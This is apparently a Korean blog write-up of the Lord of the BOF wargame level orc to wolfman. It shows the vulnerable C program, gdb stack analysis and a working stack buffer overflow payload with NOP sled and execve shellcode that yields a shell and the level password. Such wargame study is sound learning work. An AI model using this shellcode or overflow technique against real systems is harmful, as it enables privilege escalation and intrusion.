2017. 11. 17. 13:18ㆍSystemHacking/LOB(BOF원정대)
orc / cantata
[orc@localhost orc]$ /bin/bash2
[orc@localhost orc]$ export SHELL=/bin/bash2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter -> 환경변수 초기화 for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter -> 버퍼 memset(buffer, 0, 40); } | cs |
마지막 코드에서 memset()함수를 통해서 버퍼를 초기화 하고있다
따라서 leave , ret 어셈블리 코드 실행 시 버퍼에 올려놓은 쉘 코드는 초기화 된다
이전 문제에서 buffer 부분에 쉘 코드를 입력해서 공격을 시도했다면, 지금은 불가능하다
따라서 argc , argv[0] , argv[2] 부분에 쉘 코드를 올려서 공격을 시도해야한다
[ Stack 구조 ]
i 4byte
buffer 40byte <-- 초기화 !
saved ebp 4byte
saved eip RET
argc
argv[0]
argv[1]
argv[2]
< 풀이 과정 >
풀이 과정은 이전 문제와 똑같다. 두 번째 인자에 쉘 코드를 올려놓고 RET를 두 번째 인자의 위치로 변조시키면 된다
[ gdb를 통한 분석 ]
[orc@localhost orc]$ cp wolfman wolfman.cp
[orc@localhost orc]$ gdb -q wolfman.cp
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
.....
0x80485e3 <main+227>: add %esp,12
0x80485e6 <main+230>: leave
0x80485e7 <main+231>: ret
End of assembler dump.
(gdb) b *0x80485e6
Breakpoint 1 at 0x80485e6
(gdb) run $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')
Starting program: /home/orc/wolfman.cp $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x80485e6 in main ()
(gdb) x/24x $ebp-40
0xbffff6d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6f0: 0x00000000 0x00000000 0x41414141 0xbfbfbfbf <-- saved eip
0xbffff700: 0x00000000 0xbffff744 0xbffff754 0x40013868
0xbffff710: 0x00000003 0x08048450 0x00000000 0x08048471
0xbffff720: 0x08048500 0x00000003 0xbffff744 0x08048390
(gdb)
0xbffff730: 0x0804861c 0x4000ae60 0xbffff73c 0x40013e90
[ argc ] [ argv[0] ] [ argv[1] ] [ argv[2] ]
0xbffff740: 0x00000003 0xbffff844 0xbffff859 0xbffff88a <-- 두 번째 인자의 주소
0xbffff750: 0x00000000 0xbffffc8b 0xbffffc99 0xbffffcb2
0xbffff760: 0xbffffcd1 0xbffffcf3 0xbffffcfc 0xbffffebf
0xbffff770: 0xbffffede 0xbffffef7 0xbfffff0c 0xbfffff27
0xbffff780: 0xbfffff32 0xbfffff3e 0xbfffff46 0xbfffff50
(gdb) x/s 0xbffff844
0xbffff844: "/home/orc/wolfman.cp"
(gdb) x/s 0xbffff859
0xbffff859: 'A' <repeats 44 times>, "▒▒▒▒"
(gdb) x/s 0xbffff88a
0xbffff88a: 'B' <repeats 200 times>...
saved eip => 두 번째 인자의 주소가 있는 주소값으로 변조한다
실행파일의 프롤로그 부분에서 ret : pop eip 실행 시 해당 주소의 값이 eip에 들어가고 NOP코드를 타고 흘러 쉘 코드가 실행된다
[ payload 작성 ]
[orc@localhost orc]$ ./wolfman $(python -c 'print "A" * 44 + "\x4c\xf7\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒
Segmentation fault
=> 보정작업
[orc@localhost orc]$ ./wolfman $(python -c 'print "A" * 44 + "\x4c\xf9\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[7] darkelf -> orge ( 심볼릭링크 & argv[2] 활용 ) (0) | 2017.11.17 |
---|---|
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
[4] goblin -> orc ( argv[2] 활용 ) (0) | 2017.11.17 |
[3] cobolt -> goblin ( cat 명령어 ) (0) | 2017.11.17 |
[2] gremlin -> cobolt ( Small BOF ) (0) | 2017.11.17 |